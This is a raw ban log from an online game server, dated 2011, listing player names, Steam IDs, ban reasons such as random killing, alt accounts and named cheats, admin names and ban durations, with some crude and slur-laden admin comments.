+[SP]+ +ULTRA Unknown Unknown 7:0:0 Unbanned +9:18 pm 21-04-11 Unknown STEAM_0:0:23245029 learn to play +[SP]+ +ULTRA Unknown Unknown 0:5:0 Unbanned +9:00 pm 20-04-11 Snackwigidywackpack STEAM_0:1:29955819 Alt of banned +ID STEAM_0:0:20102730 (Console) Unknown Unknown 12:21:48 Unbanned +7:36 pm 20-04-11 Unknown STEAM_0:0:19962914 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +6:14 pm 20-04-11 Slayer353 STEAM_0:0:13257588 Massive RDM cuntface. ++[SP]+ ULTRA Unknown Unknown Permanent Banned +6:11 pm 20-04-11 â??Un4givέn«â??!? STEAM_0:1:17664259 You are +unforgivable. Bye bye. +[SP]+ ULTRA Unknown Unknown Permanent Banned +12:01 am 20-04-11 S!ber STEAM_0:1:35143632 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:01 am 20-04-11 Crazygecko STEAM_0:1:17424205 Cheat: Code +injection (Console) Unknown Unknown Permanent Banned +6:49 pm 19-04-11 Unknown STEAM_0:0:20102730 Cheat: Code injection +(Console) Unknown Unknown 14:0:0 Unbanned +6:48 pm 19-04-11 Unknown STEAM_0:1:17790269 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:13 pm 19-04-11 Z1DY S7Y13 STEAM_0:0:12299590 Ghosting +[SP]+ +CCD Unknown Unknown 3:3:0 Unbanned +12:12 pm 19-04-11 Baloom STEAM_0:1:1919577 Ghosting +[SP]+ CCD +Unknown Unknown 3:3:0 Unbanned +11:57 am 19-04-11 Unknown STEAM_0:0:13983114 Cheat: Code injection +(Console) Unknown Unknown 368:17:36 Unbanned +11:57 am 19-04-11 Unknown STEAM_0:0:34143111 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +11:56 am 19-04-11 Unknown STEAM_0:0:18838483 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +7:19 pm 18-04-11 Cheesey Dean STEAM_0:1:24840872 Multiple rdm. ++[SP]+ ULTRA Unknown Unknown Permanent Banned +11:37 pm 17-04-11 -» Jake STEAM_0:1:10307086 Bad excuse. +[SP]+ +ULTRA Unknown Unknown 0:2:30 Unbanned +10:20 pm 17-04-11 Unknown STEAM_0:0:32452745 Rdm, Left (Edited in +another user's IP so as they get caught by the alt trapper) +[SP]+ +CCD Unknown Unknown 0:1:0 Unbanned +6:47 pm 17-04-11 Unknown STEAM_0:1:8642952 RDM (Edited in troll VPN +IP to catch unrelated cheaters) +[SP]+ CCD Unknown Unknown 0:20:0 +Unbanned +6:10 pm 17-04-11 Andaz STEAM_0:0:19953733 RDM, Impersination of an +admin, +[SP]+ CCD Unknown Unknown Permanent Banned +10:40 am 17-04-11 Unknown STEAM_0:1:12581805 Cheat: +Sethhack(leaked) (Console) Unknown Unknown Permanent Banned +8:27 pm 16-04-11 TIMMEH!! STEAM_0:0:26803034 Mic Spam +[SP]+ CCD +Unknown Unknown Permanent Banned +6:51 pm 16-04-11 unknown STEAM_0:1:14496711 Alt of banned ID +STEAM_0:1:14496711 (Console) Unknown Unknown Permanent Banned +6:45 pm 16-04-11 Unknown STEAM_0:0:19953733 RDM +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +5:31 pm 16-04-11 Fallenking STEAM_0:1:36650627 Treason, Hacks +[SP]+ +CCD Unknown Unknown 3:3:0 Unbanned +11:41 am 16-04-11 unknown STEAM_0:1:14496711 Alt of banned ID +STEAM_0:1:14496711 (Console) Unknown Unknown Permanent Banned +8:23 pm 15-04-11 Little Pinguin STEAM_0:1:26452550 Cheat: +Injectshunt (Console) Unknown Unknown Permanent Banned +8:02 pm 15-04-11 Thejsen STEAM_0:1:19487854 Rdm +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +7:59 pm 15-04-11 =(e)=â?¢ Headshot28 STEAM_0:1:5220505 Hacking ++[SP]+ CCD Unknown Unknown Permanent Unbanned +2:25 am 15-04-11 Death Causer STEAM_0:1:7250585 Alt of banned ID +STEAM_0:0:25469869 (Console) Unknown Unknown Permanent Banned +2:05 am 15-04-11 the kool kid STEAM_0:0:25469869 (N/A) +[SP]+ +Searaphim Unknown Unknown Permanent Banned +6:24 pm 14-04-11 Unknown STEAM_0:1:22860119 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +6:16 pm 14-04-11 unknown STEAM_0:1:14496711 Cheat: Injectshunt +(Console) Unknown Unknown Permanent Banned +3:52 pm 14-04-11 VRN|Laserman@ Shilly Paiz Here! STEAM_0:0:7803220 +Cool off 5 mins :) +[SP]+ St. Hetfield Unknown Unknown 0:0:5 Unbanned +3:28 pm 14-04-11 -Frank- Cookiez <33 STEAM_0:0:39178528 RDM, +lying.@ +[SP]+ ULTRA Unknown Unknown 0:5:0 Unbanned +2:55 pm 14-04-11 Unknown STEAM_0:1:32096332 RDM + Leave +[SP]+ +ULTRA Unknown Unknown 1:0:0 Unbanned +2:40 pm 14-04-11 NIKITOS=) STEAM_0:1:27515413 RDM +[SP]+ CCD +Unknown Unknown 0:3:0 Unbanned +2:23 pm 14-04-11 Unknown STEAM_0:0:37542972 RDM,LEFT +[SP]+ CCD +Unknown Unknown Permanent Banned +2:21 pm 14-04-11 Robbus Optimus XIV. STEAM_0:0:17096394 RDM +[SP]+ +CCD Unknown Unknown 0:1:0 Unbanned +12:33 pm 14-04-11 Unknown STEAM_0:1:12681987 Cheat: Injectshunt +(Console) Unknown Unknown Permanent Banned +9:12 pm 13-04-11 Unknown STEAM_0:1:13849727 RDM several times. +Leaving. Spamming. +[SP]+ ULTRA Unknown Unknown Permanent Banned +9:09 pm 13-04-11 Unknown STEAM_0:1:17468137 RDM. Leaving. Fucktard ++[SP]+ ULTRA Unknown Unknown Permanent Banned +9:06 pm 13-04-11 The Dimak STEAM_0:1:17468137 (N/A) +[SP]+ Grim +Jam Unknown Unknown 2:18:40 Unbanned +3:23 pm 13-04-11 Unknown STEAM_0:1:5638935 Cheat: Injectshunt +(Console) Unknown Unknown Permanent Banned +2:43 am 13-04-11 Alkyholic STEAM_0:0:37852499 Alt of banned ID +STEAM_0:1:4166235 (Console) Unknown Unknown Permanent Banned +4:47 pm 12-04-11 Gaz [M0d3Pr0] STEAM_0:1:18006799 Mass RDM. +[SP]+ +ULTRA Unknown Unknown Permanent Banned +12:43 pm 12-04-11 {DKK}â??︻ã??â??ä¸? ---â??{DK} STEAM_0:1:19030524 +Alt of banned ID STEAM_0:1:37767930 (Console) Unknown Unknown +Permanent Banned +10:07 am 12-04-11 Unknown STEAM_0:1:21583054 Cheat: Injectshunt +(Console) Unknown Unknown Permanent Banned +1:05 am 12-04-11 Nelson Mandela STEAM_0:1:30528658 RDM +[SP]+ +Searaphim Unknown Unknown Permanent Banned +8:33 pm 11-04-11 Andaz STEAM_0:0:19953733 RDM +[SP]+ CCD Unknown +Unknown 0:1:0 Unbanned +6:44 pm 11-04-11 Unknown STEAM_0:0:8996978 Cheat: Injectshunt +(Console) Unknown Unknown Permanent Banned +3:57 pm 11-04-11 Emil Stensig STEAM_0:1:20840329 Karma +[SP]+ +Hellknite Unknown Unknown 1:0:0 Unbanned +2:39 pm 11-04-11 BeCk[DK] STEAM_0:1:37767930 Fuck you +[SP]+ CCD +Unknown Unknown Permanent Banned +11:22 am 11-04-11 Unknown STEAM_0:1:24769606 Cheat: MonsterHacks +(Console) Unknown Unknown Permanent Banned +11:22 am 11-04-11 Unknown STEAM_0:0:11799654 Cheat: SethHack(edit) +(Console) Unknown Unknown Permanent Banned +10:45 am 11-04-11 Unknown STEAM_0:1:15029381 Cheat: Whip it good +(Console) Unknown Unknown Permanent Banned +2:29 am 11-04-11 (NWO)-Scarface STEAM_0:0:5979318 Cheat: Whip it +good (Console) Unknown Unknown Permanent Banned +1:05 am 11-04-11 dff280 STEAM_0:1:30594971 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +1:04 am 11-04-11 Unknown STEAM_0:1:11641057 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +11:56 pm 10-04-11 Unknown STEAM_0:0:30305169 (N/A) +[SP]+ Grim Jam +Unknown Unknown 2:18:40 Unbanned +11:43 pm 10-04-11 Dr.Spy H Always High STEAM_0:0:30305169 (N/A) ++[SP]+ Grim Jam Unknown Unknown 0:0:10 Unbanned +6:24 pm 10-04-11 DYLAN0 STEAM_0:1:14061011 Alt of banned ID +STEAM_0:1:14061011 (Console) Unknown Unknown Permanent Banned +4:06 pm 10-04-11 Unknown STEAM_0:0:20757793 RDM,LEFT2 +[SP]+ CCD +Unknown Unknown 0:7:30 Unbanned +4:04 pm 10-04-11 Fen the talkin Panda STEAM_0:0:29228371 Mass RDm, +Low karma +[SP]+ CCD Unknown Unknown 0:2:0 Unbanned +3:59 pm 10-04-11 Unknown STEAM_0:1:14061011 Mass RDM +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +3:49 pm 10-04-11 DYLAN0 STEAM_0:1:14061011 Mass RDM +[SP]+ CCD +Unknown Unknown Permanent Banned +2:04 pm 10-04-11 Krazyfool STEAM_0:0:25457764 Karma +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +1:28 pm 10-04-11 Jarro STEAM_0:1:22172556 Go Spam your muM +[SP]+ +CCD Unknown Unknown 0:1:0 Unbanned +12:02 pm 10-04-11 Thomik STEAM_0:1:26701758 Noob,KARMA,RDM +[SP]+ +CCD Unknown Unknown 0:2:0 Unbanned +12:02 am 10-04-11 Mega-Ultra-Chicken STEAM_0:1:24255616 Idiot +(Unbanned - mistakenly thought it was RDM) Flapadar Unknown Unknown +Permanent Unbanned +2:40 pm 09-04-11 Grio STEAM_0:0:6167077 Alt of banned ID +STEAM_0:0:6167077 (Console) Unknown Unknown Permanent Banned +2:03 pm 09-04-11 Andaz STEAM_0:0:19953733 No Flapadar Unknown +Unknown 1:0:0 Unbanned +1:30 pm 09-04-11 Duncan STEAM_0:0:27557048 RDM Flapadar Unknown +Unknown 1:0:0 Unbanned +12:45 pm 09-04-11 â?¯â?¯â?®â?®â?®â?®â?®â?®â?®â?¯â STEAM_0:1:22948301 +Troll Flapadar Unknown Unknown Permanent Banned +10:40 am 09-04-11 TC | Dark | Deadmau5 STEAM_0:1:39039868 Karma to +low ColdFusion Unknown Unknown 0:2:0 Unbanned +1:27 am 09-04-11 Phygar STEAM_0:0:17546475 Alt of banned ID +STEAM_0:0:17546475 (Console) Unknown Unknown 0:0:46 Unbanned +10:46 am 08-04-11 [oG] Clark STEAM_0:0:39962440 Alt of banned ID +STEAM_0:0:39962440 (Console) Unknown Unknown Permanent Banned +10:47 pm 07-04-11 Orbixx STEAM_0:1:6019229 Alt of banned ID +STEAM_0:1:6019229 (Console) Unknown Unknown 0:2:23 Unbanned +8:44 pm 07-04-11 Equius Zahhak STEAM_0:0:25519336 RDM, 400 KARMA! ++[SP]+ CCD Unknown Unknown 212:1:24 Unbanned +8:33 pm 07-04-11 Unknown STEAM_0:1:10037078 RDM +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +8:28 pm 07-04-11 Unknown STEAM_0:0:29134430 RDM +[SP]+ CCD +Unknown Unknown 0:2:0 Unbanned +8:25 pm 07-04-11 Unknown STEAM_0:0:17721438 RDM, Left +[SP]+ CCD +Unknown Unknown 0:2:0 Unbanned +8:20 pm 07-04-11 Marcus STEAM_0:0:26229502 Mass RDM +[SP]+ CCD +Unknown Unknown 0:3:0 Unbanned +5:52 pm 07-04-11 Mega64 the Slag STEAM_0:0:17402999 Karma under 600 ++[SP]+ Hellknite Unknown Unknown 1:0:0 Unbanned +4:34 pm 07-04-11 Unknown STEAM_0:1:10232500 Rdm -> Disconnect +ColdFusion Unknown Unknown Permanent Banned +1:14 am 07-04-11 Lieutenant Carter Blake STEAM_0:1:6789605 Rdming +Detective +[SP]+ Hellknite Unknown Unknown 1:0:0 Unbanned +1:10 am 07-04-11 Orbixx STEAM_0:1:6019229 Karma under 600 +[SP]+ +Hellknite Unknown Unknown 1:0:0 Unbanned +1:05 am 07-04-11 DEREK STEAM_0:0:313243 Trolling +[SP]+ Hellknite +Unknown Unknown 0:1:0 Unbanned +11:23 pm 06-04-11 Unknown STEAM_0:0:11411595 cunt +[SP]+ Grim Jam +Unknown Unknown Permanent Banned +11:23 pm 06-04-11 Unknown STEAM_0:0:11411595 cunt +[SP]+ Grim Jam +Unknown Unknown Permanent Banned +11:13 pm 06-04-11 Spacial Awareness STEAM_0:0:11411595 cunt +[SP]+ +Grim Jam Unknown Unknown Permanent Banned +11:13 pm 06-04-11 Spess Marine STEAM_0:1:10203347 cunt +[SP]+ Grim +Jam Unknown Unknown Permanent Banned +6:31 pm 06-04-11 Unknown STEAM_0:0:39962440 Cheat: ClarkHack +(Console) Unknown Unknown Permanent Banned +4:47 pm 06-04-11 [BuB!!] Styropor im Ohr STEAM_0:0:5990189 Karma +under 600 +[SP]+ Hellknite Unknown Unknown 1:0:0 Unbanned +4:46 pm 06-04-11 DaiOni STEAM_0:0:15371034 Rdming despite warning ++[SP]+ Hellknite Unknown Unknown 1:0:0 Unbanned +1:18 am 06-04-11 kpoy STEAM_0:1:29093238 Mass-RDM, Insulting Players, +Big Mouth, Multiple Warnings. +[SP]+ Bloodcore Unknown Unknown +Permanent Banned +7:14 pm 05-04-11 Kris STEAM_0:0:28878438 RDM. Tard +[SP]+ ULTRA +Unknown Unknown 3:0:0 Unbanned +7:06 pm 05-04-11 Unknown STEAM_0:0:27781788 MultipleHacks +ColdFusion Unknown Unknown Permanent Banned +7:05 pm 05-04-11 Unknown STEAM_0:1:25812285 Cheat: Convar forcing +ColdFusion Unknown Unknown Permanent Banned +6:52 pm 05-04-11 EpicFail.dk | Feldt STEAM_0:0:26845704 Rdm 800 +ColdFusion Unknown Unknown 0:13:20 Unbanned +6:42 pm 05-04-11 Unknown STEAM_0:1:12057376 Rdm -> Disconnect +[SP]+ +Hellknite Unknown Unknown 1:0:0 Unbanned +6:33 pm 05-04-11 MrSonny STEAM_0:0:11411595 Good Job +[SP]+ +Hellknite Unknown Unknown 1:0:0 Unbanned +5:52 pm 05-04-11 Unknown STEAM_0:0:12562190 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +5:46 pm 05-04-11 fenrir STEAM_0:1:25615398 Submit your CV at +stonedpotatoes.com Flapadar Unknown Unknown Permanent Banned +4:57 pm 05-04-11 Phygar STEAM_0:0:17546475 Alt of banned ID +STEAM_0:0:17546475 (Console) Unknown Unknown 3:9:16 Unbanned +4:57 pm 05-04-11 pdew210 STEAM_0:1:23746338 23 incorrect kills +Flapadar Unknown Unknown Permanent Banned +3:21 am 05-04-11 Dulluzions STEAM_0:1:29205246 You suck +[SP]+ +Hellknite Unknown Unknown 0:3:0 Unbanned +10:14 pm 04-04-11 Phygar STEAM_0:0:17546475 Mass-RDM +[SP]+ +Bloodcore Unknown Unknown 4:4:0 Unbanned +6:42 pm 04-04-11 à¹?Û£Û?Pinxo STEAM_0:0:24950719 Persistant Rdming +Tardiness +[SP]+ Grim Jam Unknown Unknown 0:6:40 Unbanned +4:42 pm 04-04-11 mr happy pyro STEAM_0:1:14981294 Persistant Retarded +Rdm +[SP]+ Grim Jam Unknown Unknown 0:5:0 Unbanned +11:59 am 04-04-11 Unknown STEAM_0:0:29340388 Propkilling, whining, +moaning, posting useless ban requests, leaving game when base is under +attack +[SP]+ ULTRA Unknown Unknown 7:0:0 Unbanned +10:23 am 04-04-11 Unknown STEAM_0:0:17784269 Cheat: Inkbot +ColdFusion Unknown Unknown Permanent Banned +10:23 am 04-04-11 Unknown STEAM_0:1:18460701 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +10:21 am 04-04-11 Unknown STEAM_0:0:26159643 Cheat: Inkbot +ColdFusion Unknown Unknown Permanent Banned +10:21 am 04-04-11 Unknown STEAM_0:0:14073219 Cheat: Convar forcing +ColdFusion Unknown Unknown Permanent Banned +11:29 pm 03-04-11 Unknown STEAM_0:0:16698201 RDM +[SP]+ CCD +Unknown Unknown Permanent Banned +11:28 pm 03-04-11 Unknown STEAM_0:0:26025446 RDM +[SP]+ CCD +Unknown Unknown Permanent Banned +11:20 pm 03-04-11 Unknown STEAM_0:0:14795682 RDM +[SP]+ CCD +Unknown Unknown Permanent Banned +11:01 pm 03-04-11 Dragonatheart1995 STEAM_0:1:30285776 Alt of banned +ID STEAM_0:1:30285776 (Console) Unknown Unknown Permanent Banned +10:58 pm 03-04-11 à¹?Û£Û?Pinxo STEAM_0:0:24950719 RDM +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +10:48 pm 03-04-11 James Clark STEAM_0:0:13797259 TROLL +[SP]+ CCD +Unknown Unknown Permanent Banned +10:44 pm 03-04-11 Unknown STEAM_0:0:6167077 Skiddie (Console) +Unknown Unknown Permanent Banned +10:22 pm 03-04-11 MonkeyMo STEAM_0:1:5130278 RDM +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +8:16 pm 03-04-11 Unknown STEAM_0:1:39642650 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +7:33 pm 03-04-11 C to the UNIT STEAM_0:0:17302808 Hacks ColdFusion +Unknown Unknown Permanent Banned +6:06 pm 03-04-11 Pohjanpoika STEAM_0:1:18418479 Mass RDM Flapadar +Unknown Unknown Permanent Banned +4:09 pm 03-04-11 Phygar STEAM_0:0:17546475 Alt of banned ID +STEAM_0:0:17546475 (Console) Unknown Unknown 29:9:34 Unbanned +3:25 pm 03-04-11 Aco_Never_Forget STEAM_0:1:29968128 RDM +[SP]+ +CCD Unknown Unknown 0:2:0 Unbanned +2:22 pm 03-04-11 Sturtsni STEAM_0:1:1647878 Alt of banned ID +STEAM_0:1:25757548 (Console) Unknown Unknown Permanent Banned +1:57 pm 03-04-11 g0at #myg0t STEAM_0:0:10230123 skid (Console) +Unknown Unknown Permanent Banned +1:44 am 03-04-11 Phygar STEAM_0:0:17546475 RDM +[SP]+ ULTRA +Unknown Unknown 30:0:0 Unbanned +10:57 pm 02-04-11 Einstein STEAM_0:0:16820350 Rdm again again again +ColdFusion Unknown Unknown Permanent Banned +9:46 pm 02-04-11 call of duty black ops STEAM_0:0:33343624 mic spam +ColdFusion Unknown Unknown 0:0:10 Unbanned +7:54 pm 02-04-11 Unknown STEAM_0:0:14700480 Prop pushing (Console) +Unknown Unknown 1:0:0 Unbanned +7:53 pm 02-04-11 REMY Smitch STEAM_0:0:27333948 Raped +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +3:05 pm 02-04-11 Unknown STEAM_0:1:37768656 Cheat: Sethhack(leaked) +(Console) Unknown Unknown Permanent Banned +10:59 pm 01-04-11 Unknown STEAM_0:1:28978882 Karma under 700 +[SP]+ +Hellknite Unknown Unknown 0:1:0 Unbanned +10:21 pm 01-04-11 Unknown STEAM_0:0:37953440 Cheat: Convar forcing ++[SP]+ Hellknite Unknown Unknown Permanent Banned +6:34 pm 31-03-11 Unknown STEAM_0:1:16223844 Mass-RDM, Dick. +[SP]+ +Bloodcore Unknown Unknown Permanent Banned +7:47 pm 30-03-11 Unknown STEAM_0:1:31816542 Mass Rdm -> disconnect ++[SP]+ Hellknite Unknown Unknown 2:0:0 Unbanned +8:11 pm 29-03-11 Cake STEAM_0:0:8552585 Trolling + RDM. Gtfo tard +Volkssquad, ja. Unknown Unknown Permanent Banned +8:11 pm 29-03-11 Pelle STEAM_0:0:14676151 Trolling + RDM. Gtfo tard +Volkssquad, ja. Unknown Unknown Permanent Banned +8:01 pm 29-03-11 Unknown STEAM_0:0:34730342 Micspamming + tard, shit +kid. Can stay banned for a week. Volkssquad, ja. Unknown Unknown +7:0:0 Unbanned +7:56 pm 29-03-11 xion STEAM_0:1:32368518 You are supposed to be perma +banned already. + mic spam Volkssquad, ja. Unknown Unknown +Permanent Banned +3:22 pm 29-03-11 Frodo Baggins STEAM_0:1:25630402 Alt of banned ID +STEAM_0:1:25630402 (Console) Unknown Unknown 24:4:44 Unbanned +3:02 pm 29-03-11 Unknown STEAM_0:1:16495698 Mass-RDM -> Disconnect ++[SP]+ Bloodcore Unknown Unknown 8:8:0 Unbanned +3:02 pm 29-03-11 Unknown STEAM_0:1:16223844 Mass-RDM -> Disconnect ++[SP]+ Bloodcore Unknown Unknown 8:8:0 Unbanned +1:17 pm 27-03-11 Unknown STEAM_0:0:4386443 Cheat: Inkbot +ColdFusion Unknown Unknown Permanent Banned +1:16 pm 27-03-11 Unknown STEAM_0:1:32988394 mat_fullbright 1 +ColdFusion Unknown Unknown Permanent Banned +11:20 am 26-03-11 Sam STEAM_0:1:25630402 Alt of banned ID +STEAM_0:1:25630402 (Console) Unknown Unknown 27:7:46 Unbanned +9:40 am 26-03-11 Unknown STEAM_0:1:39246443 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +9:39 am 26-03-11 Unknown STEAM_0:0:35192837 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +1:21 am 26-03-11 Wit Tank STEAM_0:0:36841282 (N/A) +[SP]+ MAD MANN +Unknown Unknown Permanent Banned +1:21 am 26-03-11 Come at me bro STEAM_0:1:22168985 (N/A) +[SP]+ MAD +MANN Unknown Unknown Permanent Banned +10:02 pm 25-03-11 Unknown STEAM_0:1:13021252 Encouraging dickwipe ++[SP]+ Hellknite Unknown Unknown 2:0:0 Unbanned +10:01 pm 25-03-11 hakkomielteinen[fin] STEAM_0:0:24980185 Dickwipe ++[SP]+ Hellknite Unknown Unknown Permanent Banned +7:27 pm 25-03-11 Digger Nick STEAM_0:0:34092283 blantant +[SP]+ MAD +MANN Unknown Unknown 3:0:0 Unbanned +2:54 pm 25-03-11 Sam STEAM_0:1:25630402 Alt of banned ID +STEAM_0:1:25630402 (Console) Unknown Unknown 28:4:12 Unbanned +2:50 pm 25-03-11 Meowth Ex Barathrum STEAM_0:0:15802192 Tard. +[SP]+ +ULTRA Unknown Unknown 0:0:15 Unbanned +2:30 pm 25-03-11 Unknown STEAM_0:0:37403729 Nade spamming, RDM, +disconnect +[SP]+ St. Hetfield Unknown Unknown 6:22:40 Unbanned +2:15 pm 25-03-11 _| DEADHUNTER |_ STEAM_0:1:31845049 RDM + Retard ++[SP]+ ULTRA Unknown Unknown 7:0:0 Unbanned +1:06 pm 25-03-11 Ñ?нÆ? THE DARK KILLER [DK] STEAM_0:0:18390033 Loner +with a boner, being dick +[SP]+ St. Hetfield Unknown Unknown +0:0:30 Unbanned +11:11 am 25-03-11 Wonderman STEAM_0:1:22334543 Alt of banned ID +STEAM_0:1:22334543 (Console) Unknown Unknown 0:10:22 Unbanned +2:22 am 25-03-11 Duncan the Wizard STEAM_0:0:14795682 idiot Wigbig +Unknown Unknown 2:8:40 Unbanned +2:20 am 25-03-11 Rythian STEAM_0:1:14915531 You Wigbig Unknown +Unknown 2:8:40 Unbanned +2:17 am 25-03-11 Zoeya STEAM_0:1:4455 Idiot Wigbig Unknown +Unknown 2:8:40 Unbanned +2:09 am 25-03-11 Ropes STEAM_0:1:19913622 racism +[SP]+ MAD MANN +Unknown Unknown Permanent Banned +1:40 am 25-03-11 Gabriel STEAM_0:1:38548833 (N/A) +[SP]+ MAD MANN +Unknown Unknown Permanent Banned +10:58 pm 24-03-11 Unknown STEAM_0:1:22168985 Trollin and sheisse ++[SP]+ Hellknite Unknown Unknown 1:0:0 Unbanned +9:56 pm 24-03-11 Unknown STEAM_0:1:30285776 Cheat: Hermes +(Console) Unknown Unknown Permanent Banned +9:55 pm 24-03-11 Unknown STEAM_0:1:25757548 Cheat: Eradicate +(Console) Unknown Unknown Permanent Banned +9:33 pm 24-03-11 Wonderman STEAM_0:1:22334543 Had that look about +him +[SP]+ Hellknite Unknown Unknown 1:0:0 Unbanned +3:42 pm 24-03-11 Forgotten shadow STEAM_0:1:25630402 Alt of banned ID +STEAM_0:1:25630402 (Console) Unknown Unknown 29:3:24 Unbanned +3:35 pm 24-03-11 Unknown STEAM_0:1:18806178 Being retard + lying. +Have fun on another server +[SP]+ ULTRA Unknown Unknown Permanent +Banned +3:35 pm 24-03-11 Unknown STEAM_0:1:5177304 Being retards +[SP]+ +ULTRA Unknown Unknown Permanent Banned +3:32 pm 24-03-11 SmurFKinG STEAM_0:1:5177304 Being retards +[SP]+ +ULTRA Unknown Unknown Permanent Banned +3:32 pm 24-03-11 Purple People STEAM_0:1:18806178 Being retard + +lying. Have fun on another server +[SP]+ ULTRA Unknown Unknown +Permanent Banned +10:25 pm 23-03-11 Unknown STEAM_0:1:10897283 Cheat: Sethhack +[SP]+ +Hellknite Unknown Unknown Permanent Banned +7:06 pm 23-03-11 Sammy STEAM_0:1:25630402 Idiot, RDM (Console) +Unknown Unknown 30:0:0 Unbanned +3:38 pm 23-03-11 Unknown STEAM_0:0:5067481 RDM + Leave +[SP]+ +ULTRA Unknown Unknown 1:0:0 Unbanned +1:09 am 23-03-11 TheTruthOfLies STEAM_0:0:26652690 rdm +[SP]+ MAD +MANN Unknown Unknown 1:6:0 Unbanned +2:48 pm 22-03-11 Unknown STEAM_0:1:10897283 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +2:47 pm 22-03-11 Unknown STEAM_0:1:10897283 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +2:45 pm 22-03-11 Unknown STEAM_0:1:17041504 Cheat: Convar forcing +ColdFusion Unknown Unknown Permanent Banned +2:44 pm 22-03-11 Unknown STEAM_0:1:18460921 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +1:04 am 22-03-11 Kite STEAM_0:0:897834 heres +[SP]+ MAD MANN +Unknown Unknown 8333:8:0 Banned +12:59 am 22-03-11 Nate Dogg is Dead STEAM_0:1:3650105 heres +[SP]+ +MAD MANN Unknown Unknown 833:8:0 Banned +10:19 pm 21-03-11 Come at me bro STEAM_0:1:22168985 Nice shot +wankstain +[SP]+ Hellknite Unknown Unknown 0:1:0 Unbanned +9:22 pm 21-03-11 IluvBread STEAM_0:0:1655083 Your karma is worse than +your name +[SP]+ Hellknite Unknown Unknown 0:1:0 Unbanned +7:09 pm 21-03-11 staelth killer (RUS) STEAM_0:0:15261031 +Teamkilling +[SP]+ Bloodcore Unknown Unknown 0:1:0 Unbanned +4:59 pm 21-03-11 linus5553 STEAM_0:1:27082347 Last time you had ++[SP]+ ULTRA Unknown Unknown Permanent Banned +4:53 pm 21-03-11 Unknown STEAM_0:0:11933255 Cheat: Convar forcing +ColdFusion Unknown Unknown Permanent Banned +4:52 pm 21-03-11 Unknown STEAM_0:1:30069104 RDM. Has been rdming a +lot in the past, actually forgot to ban him in the past. Might as well +make it perma now +[SP]+ ULTRA Unknown Unknown Permanent Banned +2:44 pm 21-03-11 Unknown STEAM_0:1:12115323 RDM + Leave +[SP]+ +ULTRA Unknown Unknown 1:0:0 Unbanned +9:29 pm 20-03-11 Dragonatheart1995(myg0t) STEAM_0:1:30285776 Hitting +me with his crowbar all the time, annoying me(admin) +[SP]+ ULTRA +Unknown Unknown 0:2:0 Unbanned +8:13 pm 20-03-11 Unknown STEAM_0:1:9321059 RDM +[SP]+ Bloodcore +Unknown Unknown 41:16:0 Unbanned +8:03 pm 20-03-11 Wolfy STEAM_0:0:35556210 RDM -> Disconnect +[SP]+ +Bloodcore Unknown Unknown 0:2:0 Unbanned +3:10 pm 20-03-11 Unknown STEAM_0:1:25630402 Troll +[SP]+ Hellknite +Unknown Unknown 0:0:30 Unbanned +1:09 pm 20-03-11 JTFish STEAM_0:0:5769642 Wankstain +[SP]+ +Hellknite Unknown Unknown 0:0:30 Unbanned +10:25 am 20-03-11 {>BW<}masterdup STEAM_0:1:34385581 idiot +ColdFusion Unknown Unknown 0:16:40 Unbanned +9:11 am 20-03-11 Unknown STEAM_0:1:17432486 RDM/Lowkarma, Left, I +rather have you just stay so i can ban you instead of looking you up in +the logs ColdFusion Unknown Unknown Permanent Banned +12:49 am 20-03-11 Unknown STEAM_0:1:24533954 Mass-RDM -> +Disconnect, Fag +[SP]+ Bloodcore Unknown Unknown 41:16:0 Unbanned +9:35 pm 19-03-11 Unknown STEAM_0:0:10970174 Mass-RDM -> Disconnect ++[SP]+ Bloodcore Unknown Unknown Permanent Banned +9:26 pm 19-03-11 crosbyfan87 STEAM_0:0:7350016 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +4:28 pm 19-03-11 -» Jake STEAM_0:1:10307086 12 480. ColdFusion +Unknown Unknown 0:8:0 Unbanned +2:12 pm 19-03-11 Usoundjellybro STEAM_0:1:16585983 Low Karma +ColdFusion Unknown Unknown 0:8:0 Unbanned +1:46 pm 19-03-11 BubbleGun! STEAM_0:1:31065547 Rdmx2 ColdFusion +Unknown Unknown 0:8:0 Unbanned +1:46 pm 19-03-11 [LDT] Hobanobaclypse STEAM_0:0:12072494 Rdmx2 +ColdFusion Unknown Unknown 0:3:0 Unbanned +1:43 pm 19-03-11 duck STEAM_0:0:33722884 Idiot ColdFusion Unknown +Unknown 0:3:0 Unbanned +12:53 pm 19-03-11 Unknown STEAM_0:1:20940543 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +10:45 pm 18-03-11 Wolfy | LEROY MOTHERFUKIN JENKI STEAM_0:0:35556210 +mic spam gtfo ColdFusion Unknown Unknown 0:14:49 Unbanned +10:45 pm 18-03-11 Unknown STEAM_0:0:25609791 Cheat: Inkbot +ColdFusion Unknown Unknown Permanent Banned +9:16 pm 18-03-11 Prettymuc STEAM_0:0:38035563 Alt of banned ID +STEAM_0:0:38035563 (Console) Unknown Unknown Permanent Banned +7:53 pm 18-03-11 Great Denmark STEAM_0:0:21656159 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +7:51 pm 18-03-11 Unknown STEAM_0:0:19254119 Cheat: Sethhack +ColdFusion Unknown Unknown 